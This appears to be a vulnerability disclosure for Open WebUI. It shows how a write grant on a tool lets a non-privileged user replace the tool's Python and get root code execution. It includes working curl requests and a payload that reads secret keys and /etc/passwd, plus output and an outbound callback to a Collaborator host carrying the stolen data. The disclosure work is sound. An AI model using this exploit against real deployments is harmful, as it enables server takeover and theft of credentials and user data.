Details
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"access_grants\": [
{\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
]}"
Step 5 Admin disables `workspace.tools`
Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.
PERMS=$(echo $PERMS | jq '.workspace.tools = false')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
Step 6 Verify Bob CANNOT create tools
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "bob_test",
"name": "Test",
"content": "class Tools: pass",
"meta": {"description": "test", "manifest": {}}
}'
# Returns: HTTP 401 "401 Unauthorized"
# Bob correctly CANNOT create tools.
Step 7 Bob updates the tool content → code execution (the bypass)
Bob replaces the tool's Python content. The update endpoint does not check workspace.tools, only the write access grant. The new content is passed to exec().
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "import os, sys, json, platform, asyncio\n\nproof = {\n \"poc\": \"workspace.tools bypass via write grant\",\n \"whoami\": os.popen(\"whoami\").read().strip(),\n \"hostname\": os.popen(\"hostname\").read().strip(),\n \"pid\": os.getpid(),\n \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n from open_webui.models.tools import Tools as ToolsModel\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n ToolsModel.update_tool_by_id(\"helper_tool\", {\n \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n })\n )\nexcept: pass\n\nclass Tools:\n def __init__(self): pass\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
# Returns: HTTP 200 exec() ran. Bob achieved code execution.
Actual PoC Output
The following is a complete run of the automated PoC script:
Step 1: Creating user 'bob' with NO workspace.tools permission...
Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f
Bob's role: user (NO workspace.tools)
Step 2: Disabling workspace.tools globally...
workspace.tools = false (globally)
Step 2b: Verifying bob CANNOT create tools (no permission)...
POST /tools/create as bob: HTTP 401
Correctly denied: 401 Unauthorized
Step 3: Re-enabling workspace.tools for attacker, creating benign tool...
Tool 'poc_rce_2' created by attacker
Step 4: Attacker grants write access on poc_rce_2 to bob...
Grant response: HTTP 200
Bob now has write access on poc_rce_2
Step 5: Disabling workspace.tools globally again...
workspace.tools = false (globally)
Step 6: Bob updates tool content with malicious Python...
Bob has: write grant on poc_rce_2 ONLY
Bob lacks: workspace.tools permission
Endpoint: POST /api/v1/tools/id/poc_rce_2/update
HTTP Status: 200
Tool updated exec() ran with bob's request!
Step 7: Reading exfiltrated proof from DB...
PRIVILEGE ESCALATION CONFIRMED:
{
"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root",
"hostname": "3ffa54b2792d",
"cwd": "/app/backend",
"python": "/usr/local/bin/python3",
"pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va"
}
Burp Collaborator Evidence
<img width="1198" height="555" alt="image" src="https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3" />
The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:
POST /poc2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 720
Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com
User-Agent: Python-urllib/3.11
Content-Type: application/json
Connection: close
{"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend",
"python": "/usr/local/bin/python3", "pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}
Security Boundary Violated
Open WebUI's security policy defines workspace.tools as the trust boundary for code execution:
> *"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."*
This vulnerability breaks that boundary:
| Check | Create endpoint (line 333) | Update endpoint (line 467) |
|-------|---------------------------|---------------------------|
| user.role == 'admin' | Yes | Yes |
| has_permission('workspace.tools') | Yes | No |
| has_permission('workspace.tools_import') | Yes | No |
| AccessGrants.has_access('write') | No | Yes |
| tools.user_id == user.id | No (new tool) | Yes |
The update endpoint substitutes AccessGrants.has_access('write') where has_permission('workspace.tools') should be. A write grant is a collaboration primitive for editing content; workspace.tools is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.
Impact
An attacker with a regular user account and a write access grant on any single tool can:
- Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)
- Read sensitive environment variables (
WEBUI_SECRET_KEY,OPENAI_API_KEY, etc.) - Read/write the application database (all users' chats, files, API keys)
- Read arbitrary files from the container filesystem
- Make outbound network requests to internal services